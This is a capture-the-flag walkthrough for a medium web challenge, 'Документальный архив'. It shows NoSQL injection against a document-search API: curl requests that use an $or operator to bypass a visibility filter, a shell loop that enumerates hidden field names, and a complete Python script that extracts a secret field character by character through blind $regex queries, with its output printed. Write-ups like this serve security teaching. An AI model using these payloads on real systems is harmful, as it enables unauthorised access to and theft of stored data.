Документальный архив (Documentary Archive)
Документальный архив (Documentary Archive)
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: nosql_or_operator_acl_bypass, blind_regex_data_exfiltration, field_name_enumeration, character_by_character_extraction
Summary
Walkthrough of the CUSTOM Web Документальный архив (Documentary Archive). Target: http://62.173.140.174:16114
Description
Теперь все свои документы храню тут (Now I store all my documents here)
Target: http://62.173.140.174:16114
Analysis
Step 1: Reconnaissance
The target server is a Python BaseHTTPServer with a "Document Store" interface. The main page has a search form that accepts JSON and sends a POST request to /api/search.
Key observations:
- Server supports MongoDB-style query operators:
$gt,$regex,$or,$exists,$ne,$type - Response always contains only 3 fields:
_id,title,summary - User JSON is passed directly to the query engine — classic NoSQL Injection vector
Step 2: Discovering the Hidden Document
An empty query {} returns documents with _id: 1, 2, 4, 5 — but not 3 (gap in sequential IDs).
bash read-only • copy allowed# Direct query — document is filtered (likely public: false) curl -s -X POST http://62.173.140.174:16114/api/search \ -H 'Content-Type: application/json' \ -d '{"_id": 3}' # Result: []
The $or operator bypasses the server-side public filter:
bash read-only • copy allowedcurl -s -X POST http://62.173.140.174:16114/api/search \ -H 'Content-Type: application/json' \ -d '{"$or": [{"_id": 3}, {"_id": 1}]}'
Result — document _id: 3 appears:
- title: "Внутренняя стратегия" (Internal Strategy)
- summary: "Этот документ содержит стратегические планы компании."
Step 3: Discovering the Hidden Field
The API returns only _id, title, summary — the flag must be in a hidden field. Enumerating field names via $regex:
bash read-only • copy allowedfor field in body text content data flag secret password key note info; do result=$(curl -s -X POST http://62.173.140.174:16114/api/search \ -H 'Content-Type: application/json' \ -d "{\"$or\": [{\"_id\": 3, \"$field\": {\"$regex\": \".\"}}, {\"_id\": 999}]}") echo "$field: $result" done
The secret field exists — with $regex: "." document 3 is returned in results.
Solution
Step 4: Blind NoSQL Injection — Character-by-Character Extraction
The secret field value is never returned in the response. Using blind extraction via $regex with anchor ^:
python read-only • copy allowed#!/usr/bin/env python3 """ Blind NoSQL Injection — character-by-character extraction via $regex Target: HackerLab — Документальный архив """ import requests import string import re URL = "http://62.173.140.174:16114/api/search" def check_prefix(prefix: str) -> bool: """Check if secret field starts with given prefix.""" # Escape regex special characters escaped = re.escape(prefix) payload = { "$or": [ {"_id": 3, "secret": {"$regex": f"^{escaped}"}}, {"_id": 999} # non-existent, just to satisfy $or syntax ] } r = requests.post(URL, json=payload) return any(d.get('_id') == 3 for d in r.json()) def extract_secret(): """Extract secret field value character by character.""" known = "" charset = string.ascii_uppercase + string.digits + string.ascii_lowercase + "{}_!@#$%^&*" print("[*] Starting blind extraction...") while True: found = False for char in charset: if check_prefix(known + char): known += char print(f"[+] Found: {known}") found = True break if not found: print(f"[*] Extraction complete: {known}") break # Early termination if we found closing brace if known.endswith("}"): print(f"[*] Flag found: {known}") break return known if __name__ == "__main__": flag = extract_secret() print(f"\n[*] FLAG: {flag}")
Extraction Result
[+] Found: C
[+] Found: CO
[+] Found: COD
[+] Found: CODE
[+] Found: CODEB
[+] Found: CODEBY
[+] Found: CODEBY{
[+] Found: CODEBY{N
[+] Found: CODEBY{NO
[+] Found: CODEBY{NON
[+] Found: CODEBY{NONR
[+] Found: CODEBY{NONRE
[+] Found: CODEBY{NONREL
[+] Found: CODEBY{NONREL_
[+] Found: CODEBY{NONREL_D
[+] Found: CODEBY{NONREL_DB
[+] Found: CODEBY{NONREL_DB_
[+] Found: CODEBY{NONREL_DB_I
[+] Found: CODEBY{REDACTED
[+] Found: CODEBY{REDACTED
[+] Found: CODEBY{REDACTED
[+] Found: CODEBY{REDACTED
[+] Found: CODEBY{REDACTED
[+] Found: CODEBY{REDACTED
[+] Found: CODEBY{REDACTED
[+] Found: CODEBY{REDACTED
[+] Found: CODEBY{REDACTED}
[*] Flag found: CODEBY{REDACTED}
Key Takeaways / Lessons
- Mastering nosql_or_operator_acl_bypass, blind_regex_data_exfiltration, field_name_enumeration, character_by_character_extraction was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-03-07 • CUSTOM • Документальный архив (Documentary Archive) • Difficulty: Medium